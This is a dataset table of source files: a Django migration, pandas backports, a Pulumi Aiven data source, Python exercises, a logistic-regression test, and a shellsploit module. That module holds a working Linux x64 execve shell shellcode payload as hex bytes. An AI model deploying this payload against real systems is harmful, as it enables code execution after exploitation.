hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6d8acf4a79e8e8e831b85d0e9299a8027ba04b76 | 467 | py | Python | shell/database/Linux64/bin_shx64.py | dromero1452/shellsploit-framework | 38ce78542fd2dd2ac30f6567972d695ede1e4709 | [
"MIT"
] | 10 | 2016-10-09T10:21:43.000Z | 2020-04-20T05:28:50.000Z | shell/database/Linux64/bin_shx64.py | badfish5150/shellsploit-framework | 22bb910d33379ca29ddd10ba93a63e9ff1eab99d | [
"MIT"
] | null | null | null | shell/database/Linux64/bin_shx64.py | badfish5150/shellsploit-framework | 22bb910d33379ca29ddd10ba93a63e9ff1eab99d | [
"MIT"
] | 7 | 2017-03-22T18:21:34.000Z | 2019-12-02T20:22:47.000Z | from lib.payloads.shellcode import Shellcode
class Payload(Shellcode):
Shellcode.info["author"] = "d4sh&r"
Shellcode.info["name"] = "Linux/x64 - execve shellcode"
Shellcode.info["references"] = [
"https://www.exploit-db.com/exploits/38239/"
]
Shellcode.info["size"] = 22
Shellcode.info["payload"] = [
r"\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e"
r"\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24"
r"\xb0\x3b\x0f\x05"
]
| 27.470588 | 59 | 0.616702 | 63 | 467 | 4.571429 | 0.698413 | 0.225694 | 0.152778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10992 | 0.201285 | 467 | 16 | 60 | 29.1875 | 0.662198 | 0 | 0 | 0 | 0 | 0 | 0.417559 | 0.154176 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.076923 | 0 | 0.153846 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6da36bd5b967884fc9d594a3284775e375ae979a | 1,123 | py | Python | github-100-exercises/day19.py | vigneshmb/python_utils | 67837c0267930392422cf0d35f264812e73f83b0 | [
"MIT"
] | null | null | null | github-100-exercises/day19.py | vigneshmb/python_utils | 67837c0267930392422cf0d35f264812e73f83b0 | [
"MIT"
] | null | null | null | github-100-exercises/day19.py | vigneshmb/python_utils | 67837c0267930392422cf0d35f264812e73f83b0 | [
"MIT"
] | 1 | 2022-01-18T01:14:50.000Z | 2022-01-18T01:14:50.000Z | """
Please write a program to compress and decompress the string "hello world!hello world!hello world!hello world!".
import zlib
s = 'hello world!hello world!hello world!hello world!'
# In Python 3 zlib.compress() accepts only DataType <bytes>
y = bytes(s, 'utf-8')
x = zlib.compress(y)
print(x)
print(zlib.decompress(x))
"""
"""
Please write a program to print the running time of execution of "1+1" for 100 times.
import datetime
before = datetime.datetime.now()
for i in range(100):
x = 1 + 1
after = datetime.datetime.now()
execution_time = after - before
print(execution_time.microseconds)
"""
"""
Please write a program to shuffle and print the list [3,6,7,8].
import random
lst = [3,6,7,8]
random.shuffle(lst)
print(lst)
"""
"""
Please write a program to generate all sentences where
subject is in ["I", "You"] and verb is in ["Play", "Love"] and the object is in ["Hockey","Football"].
if __name__ == '__main__':
sub=['I','You']
verb=['Play','Love']
obj=['Hockey','Football']
for i in sub:
for j in verb:
for k in obj:
print(f'{i} {j} {k}')
"""
| 20.796296 | 112 | 0.650935 | 178 | 1,123 | 4.050562 | 0.38764 | 0.110957 | 0.124827 | 0.166436 | 0.227462 | 0.110957 | 0.110957 | 0.110957 | 0 | 0 | 0 | 0.022272 | 0.200356 | 1,123 | 53 | 113 | 21.188679 | 0.780624 | 0.28317 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6db83bd45a03d70a25026daed051a481dbaaca4c | 291 | py | Python | backend/admin/__init__.py | szkkteam/agrosys | a390332202f7200632d2ff3816e1b0f3cc76f586 | [
"MIT"
] | null | null | null | backend/admin/__init__.py | szkkteam/agrosys | a390332202f7200632d2ff3816e1b0f3cc76f586 | [
"MIT"
] | 2 | 2021-03-31T19:36:44.000Z | 2021-12-13T20:30:11.000Z | backend/admin/__init__.py | szkkteam/flask-starter | 7019036e7ee017ca5df9059d0b4a0d29005beab5 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Common Python library imports
# Pip package imports
# Internal package imports
from backend.magic import Bundle
from .macro import macro
from .model_admin import ModelAdmin
from .file_admin import FileAdmin
admin_bundle = Bundle(__name__)
| 19.4 | 35 | 0.769759 | 40 | 291 | 5.425 | 0.625 | 0.129032 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004032 | 0.147766 | 291 | 14 | 36 | 20.785714 | 0.870968 | 0.402062 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.8 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
6dc2de278a76f4c85277b15f4b26444755474925 | 636 | py | Python | wordsets/vectorsims.py | ETCBC/heads | e35fa13c55ba72f633ff5a9e3218056abe7fb355 | [
"Unlicense"
] | null | null | null | wordsets/vectorsims.py | ETCBC/heads | e35fa13c55ba72f633ff5a9e3218056abe7fb355 | [
"Unlicense"
] | null | null | null | wordsets/vectorsims.py | ETCBC/heads | e35fa13c55ba72f633ff5a9e3218056abe7fb355 | [
"Unlicense"
] | null | null | null | # import fasttext
# from scipy.spatial.distance import cosine
# sem_model = os.path.expanduser('~/github/codykingham/bhsa_vectors/model.bin') # semantic data
# # !! Add cosine methods for pairwise comparisons
# self.sim = fasttext.load_model(sem_model)
# # !! For semantic vector model evaluations, must build in somehow
# good_chars = set(char for word in F.otype.s('word') for char in F.voc_lex_utf8.v(word))
# good_chars.remove('־') # remove maqqeph
# def rem_accent(word):
# # Remove accents from words
# return ''.join(c for c in word if c in good_chars) | 39.75 | 95 | 0.652516 | 89 | 636 | 4.561798 | 0.640449 | 0.066502 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00207 | 0.240566 | 636 | 16 | 96 | 39.75 | 0.836439 | 0.91195 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6dda824930119421db720b89918b1ab250da8e39 | 860 | py | Python | ScienceCruiseDataManagement/main/migrations/0083_auto_20170921_0956.py | Swiss-Polar-Institute/science-cruise-data-management | 67721a0f4a1255b8ac43e530ed95a8c324239c7c | [
"MIT"
] | 6 | 2017-10-06T09:18:04.000Z | 2022-02-10T08:54:56.000Z | ScienceCruiseDataManagement/main/migrations/0083_auto_20170921_0956.py | Swiss-Polar-Institute/science-cruise-data-management | 67721a0f4a1255b8ac43e530ed95a8c324239c7c | [
"MIT"
] | 12 | 2020-02-27T09:24:50.000Z | 2021-09-22T17:39:55.000Z | ScienceCruiseDataManagement/main/migrations/0083_auto_20170921_0956.py | Swiss-Polar-Institute/science-cruise-data-management | 67721a0f4a1255b8ac43e530ed95a8c324239c7c | [
"MIT"
] | 1 | 2017-10-16T13:49:33.000Z | 2017-10-16T13:49:33.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.10.4 on 2017-09-21 09:56
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main', '0082_auto_20170904_1145'),
]
operations = [
migrations.AddField(
model_name='timechange',
name='comments',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='timechange',
name='data_source',
field=models.CharField(default='data manager', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='timechange',
name='date_changed_ship_time',
field=models.DateField(blank=True, null=True),
),
]
| 26.875 | 75 | 0.593023 | 88 | 860 | 5.602273 | 0.636364 | 0.109533 | 0.139959 | 0.1643 | 0.249493 | 0.249493 | 0 | 0 | 0 | 0 | 0 | 0.059113 | 0.29186 | 860 | 31 | 76 | 27.741935 | 0.750411 | 0.07907 | 0 | 0.375 | 1 | 0 | 0.139417 | 0.057034 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.208333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0966e8319f0704a8f72b4f5e8e328e6ff94184e1 | 5,482 | py | Python | db_dtypes/pandas_backports.py | renovate-bot/python-db-dtypes-pandas | 0a3cb481b12cb578608bd9ac0d1a86cc0d51c74b | [
"Apache-2.0"
] | 2 | 2021-12-30T02:17:27.000Z | 2022-03-25T16:52:32.000Z | db_dtypes/pandas_backports.py | renovate-bot/python-db-dtypes-pandas | 0a3cb481b12cb578608bd9ac0d1a86cc0d51c74b | [
"Apache-2.0"
] | 52 | 2021-09-23T16:52:59.000Z | 2022-03-28T15:55:56.000Z | db_dtypes/pandas_backports.py | renovate-bot/python-db-dtypes-pandas | 0a3cb481b12cb578608bd9ac0d1a86cc0d51c74b | [
"Apache-2.0"
] | 2 | 2021-09-23T15:56:29.000Z | 2021-10-07T13:34:39.000Z | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Utilities to support older pandas versions.
These backported versions are simpler and, in some cases, less featureful than
the versions in the later versions of pandas.
"""
import operator
from typing import Any
import numpy
import packaging.version
import pandas
from pandas.api.types import is_integer
import pandas.compat.numpy.function
import pandas.core.nanops
pandas_release = packaging.version.parse(pandas.__version__).release
# Create aliases for private methods in case they move in a future version.
nanall = pandas.core.nanops.nanall
nanany = pandas.core.nanops.nanany
nanmax = pandas.core.nanops.nanmax
nanmin = pandas.core.nanops.nanmin
numpy_validate_all = pandas.compat.numpy.function.validate_all
numpy_validate_any = pandas.compat.numpy.function.validate_any
numpy_validate_max = pandas.compat.numpy.function.validate_max
numpy_validate_min = pandas.compat.numpy.function.validate_min
if pandas_release >= (1, 3):
nanmedian = pandas.core.nanops.nanmedian
numpy_validate_median = pandas.compat.numpy.function.validate_median
def import_default(module_name, force=False, default=None):
"""
Provide an implementation for a class or function when it can't be imported
or when force is True.
This is used to replicate Pandas APIs that are missing or insufficient
(thus the force option) in early pandas versions.
"""
if default is None:
return lambda func_or_class: import_default(module_name, force, func_or_class)
if force:
return default
name = default.__name__
try:
module = __import__(module_name, {}, {}, [name])
except ModuleNotFoundError:
return default
return getattr(module, name, default)
# pandas.core.arraylike.OpsMixin is private, but the related public API
# "ExtensionScalarOpsMixin" is not sufficient for adding dates to times.
# It results in unsupported operand type(s) for +: 'datetime.time' and
# 'datetime.date'
@import_default("pandas.core.arraylike")
class OpsMixin:
def _cmp_method(self, other, op): # pragma: NO COVER
return NotImplemented
def __eq__(self, other):
return self._cmp_method(other, operator.eq)
def __ne__(self, other):
return self._cmp_method(other, operator.ne)
def __lt__(self, other):
return self._cmp_method(other, operator.lt)
def __le__(self, other):
return self._cmp_method(other, operator.le)
def __gt__(self, other):
return self._cmp_method(other, operator.gt)
def __ge__(self, other):
return self._cmp_method(other, operator.ge)
__add__ = __radd__ = __sub__ = lambda self, other: NotImplemented
# TODO: use public API once pandas 1.5 / 2.x is released.
# See: https://github.com/pandas-dev/pandas/pull/45544
@import_default("pandas.core.arrays._mixins", pandas_release < (1, 3))
class NDArrayBackedExtensionArray(pandas.core.arrays.base.ExtensionArray):
def __init__(self, values, dtype):
assert isinstance(values, numpy.ndarray)
self._ndarray = values
self._dtype = dtype
@classmethod
def _from_backing_data(cls, data):
return cls(data, data.dtype)
def __getitem__(self, index):
value = self._ndarray[index]
if is_integer(index):
return self._box_func(value)
return self.__class__(value, self._dtype)
def __setitem__(self, index, value):
self._ndarray[index] = self._validate_setitem_value(value)
def __len__(self):
return len(self._ndarray)
@property
def shape(self):
return self._ndarray.shape
@property
def ndim(self) -> int:
return self._ndarray.ndim
@property
def size(self) -> int:
return self._ndarray.size
@property
def nbytes(self) -> int:
return self._ndarray.nbytes
def copy(self):
return self[:]
def repeat(self, n):
return self.__class__(self._ndarray.repeat(n), self._dtype)
def take(
self,
indices,
*,
allow_fill: bool = False,
fill_value: Any = None,
axis: int = 0,
):
from pandas.core.algorithms import take
if allow_fill:
fill_value = self._validate_scalar(fill_value)
new_data = take(
self._ndarray,
indices,
allow_fill=allow_fill,
fill_value=fill_value,
axis=axis,
)
return self._from_backing_data(new_data)
@classmethod
def _concat_same_type(cls, to_concat, axis=0):
dtypes = {str(x.dtype) for x in to_concat}
if len(dtypes) != 1:
raise ValueError("to_concat must have the same dtype (tz)", dtypes)
new_values = [x._ndarray for x in to_concat]
new_values = numpy.concatenate(new_values, axis=axis)
return to_concat[0]._from_backing_data(new_values) # type: ignore[arg-type]
| 29.956284 | 86 | 0.694637 | 732 | 5,482 | 4.968579 | 0.331967 | 0.041243 | 0.028045 | 0.041243 | 0.172395 | 0.084135 | 0.067638 | 0.067638 | 0 | 0 | 0 | 0.005593 | 0.217256 | 5,482 | 182 | 87 | 30.120879 | 0.841995 | 0.253375 | 0 | 0.091743 | 0 | 0 | 0.021303 | 0.011642 | 0 | 0 | 0 | 0.005495 | 0.009174 | 1 | 0.192661 | false | 0 | 0.12844 | 0.137615 | 0.577982 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
0967732080b18ab35e19dfd86f3a392c9e082556 | 10,265 | py | Python | sdk/python/pulumi_aiven/get_service_user.py | pulumi/pulumi-aiven | 0d330ef43c17ce2d2a77588c1d9754de6c8ca736 | [
"ECL-2.0",
"Apache-2.0"
] | 7 | 2019-11-28T22:30:11.000Z | 2021-12-27T16:40:54.000Z | sdk/python/pulumi_aiven/get_service_user.py | pulumi/pulumi-aiven | 0d330ef43c17ce2d2a77588c1d9754de6c8ca736 | [
"ECL-2.0",
"Apache-2.0"
] | 97 | 2019-12-17T09:58:57.000Z | 2022-03-31T15:19:02.000Z | sdk/python/pulumi_aiven/get_service_user.py | pulumi/pulumi-aiven | 0d330ef43c17ce2d2a77588c1d9754de6c8ca736 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2020-11-24T12:22:38.000Z | 2020-11-24T12:22:38.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
__all__ = [
'GetServiceUserResult',
'AwaitableGetServiceUserResult',
'get_service_user',
]
@pulumi.output_type
class GetServiceUserResult:
"""
A collection of values returned by getServiceUser.
"""
def __init__(__self__, access_cert=None, access_key=None, authentication=None, id=None, password=None, project=None, redis_acl_categories=None, redis_acl_channels=None, redis_acl_commands=None, redis_acl_keys=None, service_name=None, type=None, username=None):
if access_cert and not isinstance(access_cert, str):
raise TypeError("Expected argument 'access_cert' to be a str")
pulumi.set(__self__, "access_cert", access_cert)
if access_key and not isinstance(access_key, str):
raise TypeError("Expected argument 'access_key' to be a str")
pulumi.set(__self__, "access_key", access_key)
if authentication and not isinstance(authentication, str):
raise TypeError("Expected argument 'authentication' to be a str")
pulumi.set(__self__, "authentication", authentication)
if id and not isinstance(id, str):
raise TypeError("Expected argument 'id' to be a str")
pulumi.set(__self__, "id", id)
if password and not isinstance(password, str):
raise TypeError("Expected argument 'password' to be a str")
pulumi.set(__self__, "password", password)
if project and not isinstance(project, str):
raise TypeError("Expected argument 'project' to be a str")
pulumi.set(__self__, "project", project)
if redis_acl_categories and not isinstance(redis_acl_categories, list):
raise TypeError("Expected argument 'redis_acl_categories' to be a list")
pulumi.set(__self__, "redis_acl_categories", redis_acl_categories)
if redis_acl_channels and not isinstance(redis_acl_channels, list):
raise TypeError("Expected argument 'redis_acl_channels' to be a list")
pulumi.set(__self__, "redis_acl_channels", redis_acl_channels)
if redis_acl_commands and not isinstance(redis_acl_commands, list):
raise TypeError("Expected argument 'redis_acl_commands' to be a list")
pulumi.set(__self__, "redis_acl_commands", redis_acl_commands)
if redis_acl_keys and not isinstance(redis_acl_keys, list):
raise TypeError("Expected argument 'redis_acl_keys' to be a list")
pulumi.set(__self__, "redis_acl_keys", redis_acl_keys)
if service_name and not isinstance(service_name, str):
raise TypeError("Expected argument 'service_name' to be a str")
pulumi.set(__self__, "service_name", service_name)
if type and not isinstance(type, str):
raise TypeError("Expected argument 'type' to be a str")
pulumi.set(__self__, "type", type)
if username and not isinstance(username, str):
raise TypeError("Expected argument 'username' to be a str")
pulumi.set(__self__, "username", username)
@property
@pulumi.getter(name="accessCert")
def access_cert(self) -> str:
"""
is the access certificate of the user (not applicable for all services).
"""
return pulumi.get(self, "access_cert")
@property
@pulumi.getter(name="accessKey")
def access_key(self) -> str:
"""
is the access key of the user (not applicable for all services).
"""
return pulumi.get(self, "access_key")
@property
@pulumi.getter
def authentication(self) -> Optional[str]:
return pulumi.get(self, "authentication")
@property
@pulumi.getter
def id(self) -> str:
"""
The provider-assigned unique ID for this managed resource.
"""
return pulumi.get(self, "id")
@property
@pulumi.getter
def password(self) -> str:
"""
is the password of the user (not applicable for all services).
"""
return pulumi.get(self, "password")
@property
@pulumi.getter
def project(self) -> str:
return pulumi.get(self, "project")
@property
@pulumi.getter(name="redisAclCategories")
def redis_acl_categories(self) -> Optional[Sequence[str]]:
"""
Redis specific field, defines command category rules.
"""
return pulumi.get(self, "redis_acl_categories")
@property
@pulumi.getter(name="redisAclChannels")
def redis_acl_channels(self) -> Optional[Sequence[str]]:
return pulumi.get(self, "redis_acl_channels")
@property
@pulumi.getter(name="redisAclCommands")
def redis_acl_commands(self) -> Optional[Sequence[str]]:
"""
Redis specific field, defines rules for individual commands.
"""
return pulumi.get(self, "redis_acl_commands")
@property
@pulumi.getter(name="redisAclKeys")
def redis_acl_keys(self) -> Optional[Sequence[str]]:
"""
Redis specific field, defines key access rules.
"""
return pulumi.get(self, "redis_acl_keys")
@property
@pulumi.getter(name="serviceName")
def service_name(self) -> str:
return pulumi.get(self, "service_name")
@property
@pulumi.getter
def type(self) -> str:
"""
tells whether the user is primary account or regular account.
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def username(self) -> str:
return pulumi.get(self, "username")
class AwaitableGetServiceUserResult(GetServiceUserResult):
# pylint: disable=using-constant-test
def __await__(self):
if False:
yield self
return GetServiceUserResult(
access_cert=self.access_cert,
access_key=self.access_key,
authentication=self.authentication,
id=self.id,
password=self.password,
project=self.project,
redis_acl_categories=self.redis_acl_categories,
redis_acl_channels=self.redis_acl_channels,
redis_acl_commands=self.redis_acl_commands,
redis_acl_keys=self.redis_acl_keys,
service_name=self.service_name,
type=self.type,
username=self.username)
def get_service_user(access_cert: Optional[str] = None,
access_key: Optional[str] = None,
authentication: Optional[str] = None,
password: Optional[str] = None,
project: Optional[str] = None,
redis_acl_categories: Optional[Sequence[str]] = None,
redis_acl_channels: Optional[Sequence[str]] = None,
redis_acl_commands: Optional[Sequence[str]] = None,
redis_acl_keys: Optional[Sequence[str]] = None,
service_name: Optional[str] = None,
type: Optional[str] = None,
username: Optional[str] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetServiceUserResult:
"""
## # Service User Data Source
The Service User data source provides information about the existing Aiven Service User.
## Example Usage
```python
import pulumi
import pulumi_aiven as aiven
myserviceuser = aiven.get_service_user(project=aiven_project["myproject"]["project"],
service_name=aiven_service["myservice"]["service_name"],
username="<USERNAME>")
```
> **Note** The service user data source is not supported for Aiven Grafana services.
:param str access_cert: is the access certificate of the user (not applicable for all services).
:param str access_key: is the access key of the user (not applicable for all services).
:param str password: is the password of the user (not applicable for all services).
:param str project: and `service_name` - (Required) define the project and service the user belongs to. They should be defined
using reference as shown above to set up dependencies correctly.
:param Sequence[str] redis_acl_categories: Redis specific field, defines command category rules.
:param Sequence[str] redis_acl_commands: Redis specific field, defines rules for individual commands.
:param Sequence[str] redis_acl_keys: Redis specific field, defines key access rules.
:param str type: tells whether the user is primary account or regular account.
:param str username: is the actual name of the user account.
"""
__args__ = dict()
__args__['accessCert'] = access_cert
__args__['accessKey'] = access_key
__args__['authentication'] = authentication
__args__['password'] = password
__args__['project'] = project
__args__['redisAclCategories'] = redis_acl_categories
__args__['redisAclChannels'] = redis_acl_channels
__args__['redisAclCommands'] = redis_acl_commands
__args__['redisAclKeys'] = redis_acl_keys
__args__['serviceName'] = service_name
__args__['type'] = type
__args__['username'] = username
if opts is None:
opts = pulumi.InvokeOptions()
if opts.version is None:
opts.version = _utilities.get_version()
__ret__ = pulumi.runtime.invoke('aiven:index/getServiceUser:getServiceUser', __args__, opts=opts, typ=GetServiceUserResult).value
return AwaitableGetServiceUserResult(
access_cert=__ret__.access_cert,
access_key=__ret__.access_key,
authentication=__ret__.authentication,
id=__ret__.id,
password=__ret__.password,
project=__ret__.project,
redis_acl_categories=__ret__.redis_acl_categories,
redis_acl_channels=__ret__.redis_acl_channels,
redis_acl_commands=__ret__.redis_acl_commands,
redis_acl_keys=__ret__.redis_acl_keys,
service_name=__ret__.service_name,
type=__ret__.type,
username=__ret__.username)
| 41.06 | 264 | 0.666147 | 1,205 | 10,265 | 5.377593 | 0.138589 | 0.07284 | 0.041667 | 0.060185 | 0.382099 | 0.3 | 0.21466 | 0.139506 | 0.097068 | 0.078549 | 0 | 0.000128 | 0.239844 | 10,265 | 249 | 265 | 41.2249 | 0.830322 | 0.204676 | 0 | 0.113772 | 1 | 0 | 0.151157 | 0.011696 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095808 | false | 0.05988 | 0.02994 | 0.02994 | 0.227545 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
098139d4c5bdb72fa9e98da1d05bde00c70b0363 | 724 | py | Python | MachineLearning/lr/lr_test.py | z8g/pettern | abf6b9c09597bb2badec97d51112681e46dde760 | [
"Apache-2.0"
] | 72 | 2019-09-26T09:12:14.000Z | 2020-09-05T11:59:25.000Z | MachineLearning/lr/lr_test.py | z8g/common | abf6b9c09597bb2badec97d51112681e46dde760 | [
"Apache-2.0"
] | null | null | null | MachineLearning/lr/lr_test.py | z8g/common | abf6b9c09597bb2badec97d51112681e46dde760 | [
"Apache-2.0"
] | null | null | null | import lr
import unittest
class Lr_TestCase(unittest.TestCase):
def test_sigmoid(self):
print "\n", "test_sigmoid"
for i in range(-4, 5):
print i, lr.sigmoid(i)
print "===================="
for i in range(-60, 80, 20):
print i, lr.sigmoid(i)
def test_create_dataset(self):
print "\n", "test_create_dataset"
dataset, labels = lr.create_dataset()
print dataset,
print labels
def test_grad_ascent(self):
print "\n", "test_grad_ascent"
dataset, labels = lr.create_dataset()
weights = lr.grad_ascent(dataset, labels)
print weights
if __name__ == '__main__':
unittest.main()
